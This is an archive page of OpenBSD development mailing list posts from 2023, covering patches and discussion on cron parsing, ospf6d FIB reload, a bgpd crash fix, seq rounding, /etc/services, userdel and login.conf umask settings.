When /etc/crontab is used, cron only skips over a single whitespace character between the username and -n/-s/-q flags; more than one and the flag is taken as part of the command: printf '*\t*\t*\t*\t*\tnobody\t-n true 1\n' | doas tee -a /etc/crontab printf '*\t*\t*\t*\t*\tnobody\t\t-n true 2\n' | doas tee -a /etc/crontab 2023-07-19T15:39:01.316Z symphytum cron[96294]: (nobody) CMD ( -n true 2) 2023-07-19T15:39:01.317Z symphytum cron[81012]: (nobody) CMD (true 1) Is this a "so don't do that then", or is it expected to work? (There's no problem with "per-user crontab" files).
Re: Stop using direct syscall(2) from perl(1)
On 2023/07/13 00:57, George Koehler wrote: > On Sun, 9 Jul 2023 13:29:58 -0700 > Andrew Hewus Fresh wrote: > > > Here is a patch to replace perl(1)'s use of syscall(2) with a dispatcher > > that will call the libc function instead. > > patch(1) didn't "chmod +x gen_syscall_emulator.pl", but I needed to > do so to get around this this error, There shouldn't be 'x' bits in files committed to the tree, so the Makefile should explicitly run this with perl. > $ make -f Makefile.bsd-wrapper > /usr/src/gnu/usr.bin/perl/gen_syscall_emulator.pl > syscall_emulator.c > /bin/sh: /usr/src/gnu/usr.bin/perl/gen_syscall_emulator.pl: cannot execute - > Permission denied > *** Error 126 in /usr/src/gnu/usr.bin/perl (Makefile.bsd-wrapper:51 > 'syscall_emulator.c') >
Re: pf.os database /p0f
On 2023/07/04 09:48, Solène Rapenne wrote: > On Tue, 2023-07-04 at 03:39 +, Lee, Jonathan D wrote: > > [cid:cd2efd41-42cb-4d83-9173-521bbb8f4539@namprd04.prod.outlook.com] > > > > Hello fellow software developers, > > > > I have noticed that p0f database files are not being updated. Many > > new operating systems fingerprints are missing within the pf.os > > database file that your software uses. I have added a section in > > pf.os for Docker containers see the below diff checker output. Yes > > this is unorthadox for the diff file again it is only a blank area > > for new OS entries and it helps bring to lite that containers can > > also be fingerprinted. The docx that is attached helps to showcase > > the Kali penetration software running inside of a docker container. > > The container was spun up and spun down and also deleted. I have > > fingerprinted this docker container with the program p0f. I noticed > > that p0f is used with pfSense and is used with access control lists > > for source address OS see attached photos. Again for this to function > > correctly it needs the database updated and new catagories like many > > of the mainstream containers. We can fingerprint them like other OS > > systems. > > > > It seems you are using PFSense, which is based on FreeBSD. > You are on the OpenBSD mailing list. > > Even if we update our fingerprint database to add docker like you > suggest, this won't reflect in the product you are using. If somebody is able to send working TCP SYN signatures for the old version of p0f that's used in PF (note that the separate p0f program has changed quite a lot in the meantime and uses a different database format), that don't cause problems with false detection, they could be added. But there's no value in adding an empty placeholder section. I'm a bit unsure whether this is going to be possible though (in particular that they can be reliably identified separate to the container's base OS).
Re: pkg_add optional behavior "like syspatch"
On 2023/07/02 16:49, Solène Rapenne wrote: > On Sun, 2023-07-02 at 15:51 +0200, Marc Espie wrote: > > Use-case: some people want to branch automated installs based on > > whether > > pkg_add -u (or some other variation) actually did something. > > > > As usual we ignore quirks. This adds a flag (-DSYSPATCH_LIKE) > > which governs the behavior. Code is fairly self-explanatory. > > > > I had no better idea for the flag name so far, suggestions welcome. > > if I read well, the exit code is 2 when something pkg_add changed > something? > > syspatch exits with 0 when installing an update, 1 if it fails, 2 if > didn't do anything > > Could it be possible to keep it consistent? pkg_add upgrading/installing > a package should exit with 0, so it doesn't break current scripts, and > this is what you would expect. I wonder whether there's actually a need to make this optional. 0 for "updated successfully", non-zero values for failed or "no updates available" makes a lot of sense to me (and makes it easier to check the common "did this successfully update some package" case). I suppose the main existing things that are likely to care about the exit codes are automation tools. Not sure if Ansible cared about the code at all or just reads the output, I can try to figure that out in the week. No idea about others.
Re: Add Intel Wi-Fi 6 AX211 0x51f1 device
On 2023/06/27 10:55, Stuart Henderson wrote: > I have this (AP is mikrotik hapax2 > 0x0001, country 'GB ', channel 36 limit 23dB, channel 40 limit > 23dB, channel 44 limit 23dB, channel 48 limit 23dB, channel 52 limit > 23dB, channel 56 limit 23dB, channel 60 limit 23dB, channel 64 limit > 23dB, channel 100 limit 30dB, channel 104 limit 30dB, channel 108 > limit 30dB, channel 112 limit 30dB, channel 116 limit 30dB, channel > 120 limit 30dB, channel 124 limit 30dB, channel 128 limit 30dB, > channel 132 limit 30dB, channel 136 limit 30dB, channel 140 limit > 30dB, channel 144 limit 30dB, channel 149 limit 14dB, channel 153 > limit 14dB, channel 157 limit 14dB, channel 161 limit 14dB, channel > 165 limit 14dB, channel 169 limit 14dB, channel 173 limit 14dB,
Re: Add Intel Wi-Fi 6 AX211 0x51f1 device
On 2023/06/27 10:55, Reyk Floeter wrote: > This works fine with my 11ac setup and performance seems OK (around > 200Mbps - what can I expect on OpenBSD these days?). I don't know if > the device supports UHB channels. That seems a little on the low side but in the right ballpark, I have this (AP is mikrotik hapax2 - I get about 470Mb/s on internet speed tests to my phone which is probably maxed out on the internet connection) $ tcpbench -n 4 10.15.5.102 [...snip...] Conn: 4 Mbps: 270.078 Peak Mbps: 271.705 Avg Mbps: 67.519 58198 14073112 112.811 43.69% 581954542376 36.412 14.10% 581924223816 33.858 13.11% 581909374352 75.145 29.10% Conn: 4 Mbps: 258.226 Peak Mbps: 271.705 Avg Mbps: 64.556 59206 14284520 113.482 43.53% 592034734960 37.616 14.43% 592004290424 34.085 13.08% 591979501776 75.486 28.96% Conn: 4 Mbps: 260.669 Peak Mbps: 271.705 Avg Mbps: 65.167 60211 14145512 112.601 43.21% 602094781296 38.060 14.60% 602064377304 34.844 13.37% 602039435168 75.106 28.82% Conn: 4 Mbps: 260.611 Peak Mbps: 271.705 Avg Mbps: 65.153 ^C --- 10.15.5.102 tcpbench statistics --- 1978465612 bytes sent over 60.560 seconds bandwidth min/avg/max/std-dev = 248.205/261.506/271.705/4.365 Mbps 802.11 flags=0<>: beacon, timestamp 2230421504685, interval 100, caps=12421, ssid (XXX), rates 6M* 9M 12M* 18M 24M* 36M 48M 54M, ds (chan 36), tim 0x0001, country 'GB ', channel 36 limit 23dB, channel 40 limit 23dB, channel 44 limit 23dB, channel 48 limit 23dB, channel 52 limit 23dB, channel 56 limit 23dB, channel 60 limit 23dB, channel 64 limit 23dB, channel 100 limit 30dB, channel 104 limit 30dB, channel 108 limit 30dB, channel 112 limit 30dB, channel 116 limit 30dB, channel 120 limit 30dB, channel 124 limit 30dB, channel 128 limit 30dB, channel 132 limit 30dB, channel 136 limit 30dB, channel 140 limit 30dB, channel 144 limit 30dB, channel 149 limit 14dB, channel 153 limit 14dB, channel 157 limit 14dB, channel 161 limit 14dB, channel 165 limit 14dB, channel 169 limit 14dB, channel 173 limit 14dB, power constraint 0dB, tpcreport 0x1200, rsn=, 3 stations, 3% utilization, admission capacity 0us/s, 70:5 0x73d00c, htcaps=<20/40MHz,LDPC,SGI@20MHz,SGI@40MHz,TXSTBC,RXSTBC 1 stream,A-MSDU 7935,A-MPDU max 65535,RxMCS 0x>, htop=<40MHz chan 36:40,htprot none,non-greenfield STA,basic MCS set 0x>, 127:10 0x04000f400040, vhtcaps=, vhtop=, 195:4 0x022e2e2e, 244:1 0x20, 255:28 0x230d01081a4010047048881f418104110800fafffaff391cc7711c07, 255:7 0x24f43f002afcff, 255:2 0x2703, 255:14 0x260303a4ff27a4ff4243ff6232ff, vendor 0x8cfdf0010102010002010103030101000401010902, vendor 0x0050f2020101830003a427a442435e0062322f00, vendor 0x8cfdf004494c510302097201fdff, vendor 0x8cfdf004010100,
Re: ports: brz Distributed version control system based on bzr
wrong mailing list, moved to ports@ & reply-to set. On 2023/06/24 23:02, Alfred Morgan wrote: > bzr got deleted from openbsd ports about 2 years ago (died along with > Python2). > https://cvsweb.openbsd.org/ports/devel/bzr/Attic/Makefile?only_with_tag=HEAD > bzr was superseded by brz but brz never made it into the openbsd ports. Who > can I nudge to include this port? > freebsd port -- https://www.freshports.org/devel/brz/ A FreeBSD port won't work on OpenBSD. You can nudge on ports@ if you or someone else writes ports for brz and the dependencies (looks like at least fastbencode and launchpadlib).
[s...@spacehopper.org: ospf6d fib reload [Re: bgpd fix for possible crash in SE]]
This hasn't blown up yet... any interest?
- Forwarded message from Stuart Henderson -
From: Stuart Henderson
Date: Fri, 26 May 2023 14:40:45 +0100
To: tech@openbsd.org
Subject: ospf6d fib reload [Re: bgpd fix for possible crash in SE]
Mail-Followup-To: tech@openbsd.org
On 2023/05/26 13:52, Stuart Henderson wrote:
> I think my main issues come around LS_REFRESH_TIME intervals, when
> there's loads of churn and "ospf6d: ospf engine" can be busy for
> minutes at a time (not always, but very often). Don't know if that rings
> any bells for anyone... (I am now reminded that RTM_DESYNC isn't handled
> by ospf6d which probably doesn't help matters).
Here's a first attempt at porting the fib reload/desync diffs from
ospfd to ospf6d ... Not sure if it's good yet, but it didn't immediately
crash and burn when I ran "ospf6ctl fib reload", at least.
Index: ospf6ctl/ospf6ctl.8
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/ospf6ctl.8,v
retrieving revision 1.13
diff -u -p -r1.13 ospf6ctl.8
--- ospf6ctl/ospf6ctl.8 2 Mar 2023 17:09:53 - 1.13
+++ ospf6ctl/ospf6ctl.8 26 May 2023 13:37:55 -
@@ -58,6 +58,9 @@ Remove the learned routes from the FIB.
Decoupling the FIB from an OSPF router may create routing loops and could cause
major routing issues in the complete OSPF cloud.
Only routers with just one link to the OSPF cloud can safely decouple the FIB.
+.It Cm fib reload
+Refetches and relearns the routes in the Forwarding Information Base
+a.k.a. the kernel routing table.
.It Cm log brief
Disable verbose debug logging.
.It Cm log verbose
Index: ospf6ctl/ospf6ctl.c
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/ospf6ctl.c,v
retrieving revision 1.53
diff -u -p -r1.53 ospf6ctl.c
--- ospf6ctl/ospf6ctl.c 27 Dec 2022 12:11:39 - 1.53
+++ ospf6ctl/ospf6ctl.c 26 May 2023 13:37:55 -
@@ -225,6 +225,11 @@ main(int argc, char *argv[])
printf("decouple request sent.\n");
done = 1;
break;
+ case FIB_RELOAD:
+ imsg_compose(ibuf, IMSG_CTL_FIB_RELOAD, 0, 0, -1, NULL, 0);
+ printf("reload request sent.\n");
+ done = 1;
+ break;
case LOG_VERBOSE:
verbose = 1;
/* FALLTHROUGH */
@@ -304,6 +309,7 @@ main(int argc, char *argv[])
case FIB:
case FIB_COUPLE:
case FIB_DECOUPLE:
+ case FIB_RELOAD:
case LOG_VERBOSE:
case LOG_BRIEF:
case RELOAD:
Index: ospf6ctl/parser.c
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/parser.c,v
retrieving revision 1.14
diff -u -p -r1.14 parser.c
--- ospf6ctl/parser.c 26 May 2019 09:27:09 - 1.14
+++ ospf6ctl/parser.c 26 May 2023 13:37:55 -
@@ -73,6 +73,7 @@ static const struct token t_main[] = {
static const struct token t_fib[] = {
{ KEYWORD, "couple", FIB_COUPLE, NULL},
{ KEYWORD, "decouple", FIB_DECOUPLE, NULL},
+ { KEYWORD, "reload", FIB_RELOAD, NULL},
{ ENDTOKEN, "", NONE, NULL}
};
Index: ospf6ctl/parser.h
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/parser.h,v
retrieving revision 1.9
diff -u -p -r1.9 parser.h
--- ospf6ctl/parser.h 26 May 2019 09:27:09 - 1.9
+++ ospf6ctl/parser.h 26 May 2023 13:37:55 -
@@ -29,6 +29,7 @@ enum actions {
FIB,
FIB_COUPLE,
FIB_DECOUPLE,
+ FIB_RELOAD,
LOG_VERBOSE,
LOG_BRIEF,
SHOW,
Index: ospf6d/control.c
===
RCS file: /cvs/src/usr.sbin/ospf6d/control.c,v
retrieving revision 1.31
diff -u -p -r1.31 control.c
--- ospf6d/control.c8 Mar 2023 04:43:14 - 1.31
+++ ospf6d/control.c26 May 2023 13:37:55 -
@@ -279,6 +279,7 @@ control_dispatch_imsg(int fd, short even
case IMSG_CTL_FIB_DECOUPLE:
ospfe_fib_update(imsg.hdr.type);
/* FALLTHROUGH */
+ case IMSG_CTL_FIB_RELOAD:
case IMSG_CTL_RELOAD:
c->iev.ibuf.pid = imsg.hdr.pid;
ospfe_imsg_compose_parent(imsg.hdr.type, 0, NULL, 0);
Index: ospf6d/kroute.c
===
RCS file: /cvs/src/usr.sbin/ospf6d/kroute.c,v
retrieving revision 1.67
diff -u -p -r1.67 kroute.c
--- ospf6d/kroute.c 8 Mar 2023 04:43:14 - 1.67
+++ ospf6d/kroute.c 26 May 2023 13:37:55 -
@@ -45,16 +45,22 @
Re: reorder libssl and libtls at boot?
On 2023/06/17 09:02, Theo de Raadt wrote: > I don't see a positive value:cost tradeoff here, where cost is "time during > boot, and potential for fragility in case of relink failure". + extra difficulty in debugging from core dumps.
Re: seq: fix check for rounding error/truncation
On 2023/06/12 11:20, Todd C. Miller wrote:
> We need to compare the printable version of the last value displayed,
> not the floating point representation. Otherwise, we may print the
> last value twice.
>
> Old:
>
> $ seq 105 105
> 1.05e+06
> 1.05e+06
>
> New:
>
> $ seq 105 105
> 1.05e+06
Neither of these are really ideal, and mean that we still need gseq
for integers >= 1,000,000
$ seq 99 99
99
$ seq 100 100
1e+06
$ gseq 105 105
105
> We really need seq regression tests. I have a few that I will
> commit after this is in.
>
> - todd
>
> Index: usr.bin/seq/seq.c
> ===
> RCS file: /cvs/src/usr.bin/seq/seq.c,v
> retrieving revision 1.6
> diff -u -p -u -r1.6 seq.c
> --- usr.bin/seq/seq.c 25 Feb 2022 16:00:39 - 1.6
> +++ usr.bin/seq/seq.c 12 Jun 2023 17:13:44 -
> @@ -89,13 +89,13 @@ main(int argc, char *argv[])
> double first = 1.0;
> double last = 0.0;
> double incr = 0.0;
> - double last_shown_value = 0.0;
> + double prev = 0.0;
> double cur, step;
> struct lconv *locale;
> char *fmt = NULL;
> const char *sep = "\n";
> const char *term = "\n";
> - char *cur_print, *last_print;
> + char *cur_print, *last_print, *prev_print;
> char pad = ZERO;
>
> if (pledge("stdio", NULL) == -1)
> @@ -181,29 +181,31 @@ main(int argc, char *argv[])
> if (cur != first)
> fputs(sep, stdout);
> printf(fmt, cur);
> - last_shown_value = cur;
> + prev = cur;
> }
>
> /*
>* Did we miss the last value of the range in the loop above?
>*
>* We might have, so check if the printable version of the last
> - * computed value ('cur') and desired 'last' value are equal. If they
> - * are equal after formatting truncation, but 'cur' and
> - * 'last_shown_value' are not equal, it means the exit condition of the
> - * loop held true due to a rounding error and we still need to print
> - * 'last'.
> + * computed value ('cur') and desired 'last' value are equal. If
> + * they are equal after formatting truncation, but 'cur' and 'prev'
> + * are different, it means the exit condition of the loop held true
> + * due to a rounding error and we still need to print 'last'.
>*/
> if (asprintf(_print, fmt, cur) == -1 ||
> - asprintf(_print, fmt, last) == -1)
> + asprintf(_print, fmt, last) == -1 ||
> + asprintf(_print, fmt, prev) == -1)
> err(1, "asprintf");
> - if (strcmp(cur_print, last_print) == 0 && cur != last_shown_value) {
> + if (strcmp(cur_print, last_print) == 0 &&
> + strcmp(cur_print, prev_print) != 0) {
> if (cur != first)
> fputs(sep, stdout);
> fputs(last_print, stdout);
> }
> free(cur_print);
> free(last_print);
> + free(prev_print);
>
> fputs(term, stdout);
>
>
ospf6d fib reload [Re: bgpd fix for possible crash in SE]
On 2023/05/26 13:52, Stuart Henderson wrote:
> I think my main issues come around LS_REFRESH_TIME intervals, when
> there's loads of churn and "ospf6d: ospf engine" can be busy for
> minutes at a time (not always, but very often). Don't know if that rings
> any bells for anyone... (I am now reminded that RTM_DESYNC isn't handled
> by ospf6d which probably doesn't help matters).
Here's a first attempt at porting the fib reload/desync diffs from
ospfd to ospf6d ... Not sure if it's good yet, but it didn't immediately
crash and burn when I ran "ospf6ctl fib reload", at least.
Index: ospf6ctl/ospf6ctl.8
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/ospf6ctl.8,v
retrieving revision 1.13
diff -u -p -r1.13 ospf6ctl.8
--- ospf6ctl/ospf6ctl.8 2 Mar 2023 17:09:53 - 1.13
+++ ospf6ctl/ospf6ctl.8 26 May 2023 13:37:55 -
@@ -58,6 +58,9 @@ Remove the learned routes from the FIB.
Decoupling the FIB from an OSPF router may create routing loops and could cause
major routing issues in the complete OSPF cloud.
Only routers with just one link to the OSPF cloud can safely decouple the FIB.
+.It Cm fib reload
+Refetches and relearns the routes in the Forwarding Information Base
+a.k.a. the kernel routing table.
.It Cm log brief
Disable verbose debug logging.
.It Cm log verbose
Index: ospf6ctl/ospf6ctl.c
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/ospf6ctl.c,v
retrieving revision 1.53
diff -u -p -r1.53 ospf6ctl.c
--- ospf6ctl/ospf6ctl.c 27 Dec 2022 12:11:39 - 1.53
+++ ospf6ctl/ospf6ctl.c 26 May 2023 13:37:55 -
@@ -225,6 +225,11 @@ main(int argc, char *argv[])
printf("decouple request sent.\n");
done = 1;
break;
+ case FIB_RELOAD:
+ imsg_compose(ibuf, IMSG_CTL_FIB_RELOAD, 0, 0, -1, NULL, 0);
+ printf("reload request sent.\n");
+ done = 1;
+ break;
case LOG_VERBOSE:
verbose = 1;
/* FALLTHROUGH */
@@ -304,6 +309,7 @@ main(int argc, char *argv[])
case FIB:
case FIB_COUPLE:
case FIB_DECOUPLE:
+ case FIB_RELOAD:
case LOG_VERBOSE:
case LOG_BRIEF:
case RELOAD:
Index: ospf6ctl/parser.c
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/parser.c,v
retrieving revision 1.14
diff -u -p -r1.14 parser.c
--- ospf6ctl/parser.c 26 May 2019 09:27:09 - 1.14
+++ ospf6ctl/parser.c 26 May 2023 13:37:55 -
@@ -73,6 +73,7 @@ static const struct token t_main[] = {
static const struct token t_fib[] = {
{ KEYWORD, "couple", FIB_COUPLE, NULL},
{ KEYWORD, "decouple", FIB_DECOUPLE, NULL},
+ { KEYWORD, "reload", FIB_RELOAD, NULL},
{ ENDTOKEN, "", NONE, NULL}
};
Index: ospf6ctl/parser.h
===
RCS file: /cvs/src/usr.sbin/ospf6ctl/parser.h,v
retrieving revision 1.9
diff -u -p -r1.9 parser.h
--- ospf6ctl/parser.h 26 May 2019 09:27:09 - 1.9
+++ ospf6ctl/parser.h 26 May 2023 13:37:55 -
@@ -29,6 +29,7 @@ enum actions {
FIB,
FIB_COUPLE,
FIB_DECOUPLE,
+ FIB_RELOAD,
LOG_VERBOSE,
LOG_BRIEF,
SHOW,
Index: ospf6d/control.c
===
RCS file: /cvs/src/usr.sbin/ospf6d/control.c,v
retrieving revision 1.31
diff -u -p -r1.31 control.c
--- ospf6d/control.c8 Mar 2023 04:43:14 - 1.31
+++ ospf6d/control.c26 May 2023 13:37:55 -
@@ -279,6 +279,7 @@ control_dispatch_imsg(int fd, short even
case IMSG_CTL_FIB_DECOUPLE:
ospfe_fib_update(imsg.hdr.type);
/* FALLTHROUGH */
+ case IMSG_CTL_FIB_RELOAD:
case IMSG_CTL_RELOAD:
c->iev.ibuf.pid = imsg.hdr.pid;
ospfe_imsg_compose_parent(imsg.hdr.type, 0, NULL, 0);
Index: ospf6d/kroute.c
===
RCS file: /cvs/src/usr.sbin/ospf6d/kroute.c,v
retrieving revision 1.67
diff -u -p -r1.67 kroute.c
--- ospf6d/kroute.c 8 Mar 2023 04:43:14 - 1.67
+++ ospf6d/kroute.c 26 May 2023 13:37:55 -
@@ -45,16 +45,22 @@ struct {
u_int32_t rtseq;
pid_t pid;
int fib_sync;
+ int fib_serial;
u_int8_tfib_prio;
int fd;
- struct eventev;
+ stru
Re: bgpd fix for possible crash in SE
On 2023/05/25 16:15, Claudio Jeker wrote: > On Thu, May 25, 2023 at 02:20:37PM +0100, Stuart Henderson wrote: > > On 2023/05/25 15:06, Claudio Jeker wrote: > > > sthen@ reported a bgpd SE crash to me and after inspection of the report > > > it looks like he managed to trigger a mistake in session_process_msg(). > > > When for example a NOTIFICATION message is received then the state change > > > clears the rbuf. Now normally the for loop starts over afterwards and the > > > if (p->rbuf == NULL) at the top causes the function to return. > > > In his case the peer had enough messages queued that the if (++processed > > > > MSG_PROCESS_LIMIT) limit triggered after the NOTIFICATION was processed. > > > This hits a break from the for loop and the code at the end of the > > > function adjusting the rbuf trips over the NULL rbuf pointer. > > > > > > This can be fixed in many ways, I decided to just check at the end of the > > > loop that rbuf is still valid. > > > > Thanks for looking into this. OK. > > > > > Triggering this bug is not trivial so it is hard test but the problem is > > > obvious. > > > > indeed, I don't think I have hit this one at all before. > > > > Running sessions over routes maintained by ospf6d seems a fairly > > good way to trigger a number of issues ;) > > I do run ospf6d on some systems but it seems my setup is too small to > trigger all those strange issues. :( Somehow I hit that same SE crash twice more overnight, I don't think I've spotted that one before! I have now updated a handful of routers (some to 7.1 or 2022/06/13 i.e. pre-kroute-changes plus your diff, some to -current) all built with debug symbols (I don't usually get even function names from bgpd cores without symbols). I think my main issues come around LS_REFRESH_TIME intervals, when there's loads of churn and "ospf6d: ospf engine" can be busy for minutes at a time (not always, but very often). Don't know if that rings any bells for anyone... (I am now reminded that RTM_DESYNC isn't handled by ospf6d which probably doesn't help matters). With log verbose, the fsm log messages look like this. 2023-05-26T10:30:34.648Z ospf6d[21331]: if_fsm: event NEIGHBORCHANGE resulted in action ELECT and changing state for interface vlan760 from BCKUP to DR 2023-05-26T10:30:34.648Z ospf6d[21331]: nbr_fsm: event 1_WAY_RECEIVED resulted in action CLEAR_LISTS and changing state for neighbor ID xx.13 (vlan760) from FULL to INIT 2023-05-26T10:30:34.651Z ospf6d[21331]: if_fsm: event NEIGHBORCHANGE resulted in action ELECT and changing state for interface vlan760 from DR to DR 2023-05-26T10:30:34.660Z ospf6d[21331]: nbr_fsm: event 2_WAY_RECEIVED resulted in action EVAL and changing state for neighbor ID xx.13 (vlan760) from INIT to EXSTA 2023-05-26T10:30:34.660Z ospf6d[21331]: if_fsm: event NEIGHBORCHANGE resulted in action ELECT and changing state for interface vlan760 from DR to OTHER 2023-05-26T10:30:34.660Z ospf6d[21331]: nbr_fsm: event NEGOTIATION_DONE resulted in action SNAPSHOT and changing state for neighbor ID xx.13 (vlan760) from EXSTA to SNAP 2023-05-26T10:30:35.145Z ospf6d[21331]: nbr_fsm: event SNAPSHOT_DONE resulted in action SNAPSHOT_DONE and changing state for neighbor ID xx.13 (vlan760) from SNAP to EXCHG 2023-05-26T10:30:42.642Z ospf6d[21331]: nbr_fsm: event EXCHANGE_DONE resulted in action EXCHANGE_DONE and changing state for neighbor ID xx.13 (vlan760) from EXCHG to LOAD 2023-05-26T10:30:55.520Z ospf6d[21331]: nbr_fsm: event LOADING_DONE resulted in action NOTHING and changing state for neighbor ID xx.13 (vlan760) from LOAD to FULL 2023-05-26T10:30:56.911Z ospf6d[21331]: if_fsm: event NEIGHBORCHANGE resulted in action ELECT and changing state for interface vlan761 from DR to DR 2023-05-26T10:30:56.911Z ospf6d[21331]: nbr_fsm: event 1_WAY_RECEIVED resulted in action CLEAR_LISTS and changing state for neighbor ID xx.7 (vlan761) from FULL to INIT 2023-05-26T10:30:58.075Z ospf6d[21331]: nbr_fsm: event 2_WAY_RECEIVED resulted in action EVAL and changing state for neighbor ID xx.7 (vlan761) from INIT to EXSTA 2023-05-26T10:30:58.075Z ospf6d[21331]: if_fsm: event NEIGHBORCHANGE resulted in action ELECT and changing state for interface vlan761 from DR to DR 2023-05-26T10:30:58.142Z ospf6d[21331]: nbr_fsm: event NEGOTIATION_DONE resulted in action SNAPSHOT and changing state for neighbor ID xx.7 (vlan761) from EXSTA to SNAP 2023-05-26T10:30:58.195Z ospf6d[21331]: nbr_fsm: event SNAPSHOT_DONE resulted in action SNAPSHOT_DONE and changing state for neighbor ID xx.7 (vlan761) from SNAP to EXCHG 2023-05-26T10:31:24.853Z ospf6d[21331]: nbr_fsm: event EXCHANGE_DONE resulted in action EXCHANGE_DONE and ch
Re: bgpd fix for possible crash in SE
On 2023/05/25 15:06, Claudio Jeker wrote:
> sthen@ reported a bgpd SE crash to me and after inspection of the report
> it looks like he managed to trigger a mistake in session_process_msg().
> When for example a NOTIFICATION message is received then the state change
> clears the rbuf. Now normally the for loop starts over afterwards and the
> if (p->rbuf == NULL) at the top causes the function to return.
> In his case the peer had enough messages queued that the if (++processed >
> MSG_PROCESS_LIMIT) limit triggered after the NOTIFICATION was processed.
> This hits a break from the for loop and the code at the end of the
> function adjusting the rbuf trips over the NULL rbuf pointer.
>
> This can be fixed in many ways, I decided to just check at the end of the
> loop that rbuf is still valid.
Thanks for looking into this. OK.
> Triggering this bug is not trivial so it is hard test but the problem is
> obvious.
indeed, I don't think I have hit this one at all before.
Running sessions over routes maintained by ospf6d seems a fairly
good way to trigger a number of issues ;)
> :wq Claudio
>
> Index: session.c
> ===
> RCS file: /cvs/src/usr.sbin/bgpd/session.c,v
> retrieving revision 1.444
> diff -u -p -r1.444 session.c
> --- session.c 5 May 2023 07:28:08 - 1.444
> +++ session.c 25 May 2023 09:32:11 -
> @@ -1998,6 +1998,8 @@ session_process_msg(struct peer *p)
> }
> }
>
> + if (p->rbuf == NULL)
> + return;
> if (rpos < av) {
> left = av - rpos;
> memmove(>rbuf->buf, p->rbuf->buf + rpos, left);
>
Re: 443 udp for /etc/services
On 2023/05/25 10:29, Tom Smyth wrote: > Folks, > > Can I suggest calling it quic as opposed to https I think it should follow the name in the IANA registry which uses https. > do we want PF Firewal to match https for TCP and UDP (for traditional) > servers that only require https TCP ... PF requires that the protocol is specified, it doesn't assume TCP or UDP based on the /etc/services entry.
443 udp for /etc/services
- Forwarded message from Renaud Allard - From: Renaud Allard Date: Thu, 25 May 2023 10:48:24 +0200 To: po...@openbsd.org User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Thunderbird/102.9.0 Subject: Re: http3 in nginx On 5/24/23 18:01, Theo Buehler wrote: > This isn't intended for commit, but if anyone wants to play with quic > in nginx, this diff is all that's needed. Build, then install the main > package. The config is documented here: > > https://nginx.org/en/docs/http/ngx_http_v3_module.html > > Works for me. > It might be a good idea to add this to /etc/services too https 443udphttp protocol over TLS/SSL - - while I would not use quite that description (it comes from the IANA registry, but afaik there is no way this is going to work over anything old enough to be called SSL), I think it is correct to add this, we do want it populated in net.inet.udp.baddynamic. https://www.rfc-editor.org/rfc/rfc9110.html ok? Index: services === RCS file: /cvs/src/etc/services,v retrieving revision 1.104 diff -u -p -r1.104 services --- services2 Mar 2022 11:43:52 - 1.104 +++ services25 May 2023 09:14:49 - @@ -118,6 +118,7 @@ svrloc 427/tcp # Server Location svrloc 427/udp nnsp 433/tcp usenet # Network News Transfer https 443/tcp # secure http (TLS) +https 443/udp # secure http (TLS) snpp 444/tcp # Simple Network Paging Protocol microsoft-ds 445/tcp # Microsoft-DS microsoft-ds 445/udp # Microsoft-DS
Re: userdel: remove login group for =uid
On 2023/05/24 20:00, Omar Polo wrote: > On 2023/05/19 10:24:58 -0600, Todd C. Miller wrote: > > If /etc/usermgmt.conf has a line like: > > > > group =uid > > > > where a new user's group ID in the passwd file is the same as their > > user ID, remove that group when the user is removed. The group is > > only removed if it matches the login name, has a gid that matches > > the user's uid, and has no other members. > > > > This makes our userdel(8) behave more like the version on other > > systems. > > > > Opinions? This is something that has always bothered me and can > > result in uid/gid mismatches if you remove a user, then re-add them > > without removing the login group first. > > I have been bitten by this too and later been (pleasently) surprised > when found that on other systems removing a users removes the group > too. It makes sense to me. > > > Thoughts or strong opinions? > > fwiw i like the change, ok for me. +1 > As Aisha pointed out, pkg_delete hints could be updated too. If that is done, pkg_delete would need to check whether the group will actually get removed i.e. make sure that no other user has been added to the group.
Re: changelist: add tmux.conf
On 2023/04/24 16:24, Klemens Nanni wrote: > Would be nice to have a backup of it and track changes. > > OK? No? ok > Index: changelist > === > RCS file: /cvs/src/etc/changelist,v > retrieving revision 1.135 > diff -u -p -r1.135 changelist > --- changelist18 Apr 2023 08:50:37 - 1.135 > +++ changelist24 Apr 2023 16:20:06 - > @@ -142,6 +142,7 @@ > /etc/sysctl.conf > /etc/syslog.conf > /etc/sysmerge.ignore > +/etc/tmux.conf > /etc/ttys > /etc/unwind.conf > /etc/usermgmt.conf >
Re: [patch] Avoid change of permissions in /etc/resolv.conf
On 2023/04/21 20:23, Juan Picca wrote: > But maybe a less surprise config for /etc/login.conf can be: > > --- /etc/login.conf.orig > +++ /etc/login.conf > @@ -58,6 +58,7 @@ > # Be sure to reset these values to system defaults in the default class! > # > daemon:\ > + :umask=022:\ > :ignorenologin:\ > :datasize=4096M:\ > :maxproc=infinity:\ > > > With this umask from the default class can change without affecting the > daemon class. Still a bit risky, you might have other users that don't inherit from the daemon class which will have problems with a restrictive mask. I'd suggest targetting the umask setting, either by giving all users class 'staff' or adding a new one which inherits from default. > Do the usage of openfiles-max currently follows the same idea? That goes with a restriction which we want to have in the default login.conf anyway - not so much the case for umask I think. > Funny fact: by mistake I do > > --- /etc/login.conf.orig > +++ /etc/login.conf > @@ -57,6 +57,7 @@ > # This must be set properly for daemons started as root by inetd as well. > # Be sure to reset these values to system defaults in the default class! > # > +#:umask=022:\ > daemon:\ > :ignorenologin:\ > :datasize=4096M:\ > > > And after that I couldn't use doas anymore to correct the file > > $ doas -s > doas: failed to set user context for target This is a sensitive file. Keep a root shell open when modifying and don't close it until tested, there are various ways to break the format. Be happy you didn't push this to (iirc) a dozen machines in 4 locations across the country with a config management tool :) > Do you accept patches to avoid the interpretation of the last \ > (backslash) as a line continuation in a comment? I would object to such a diff. If somebody has written a file like that on purpose, that will break their machine on upgrade.
Re: efi(4): Support for EFI variables and tables in the kernel
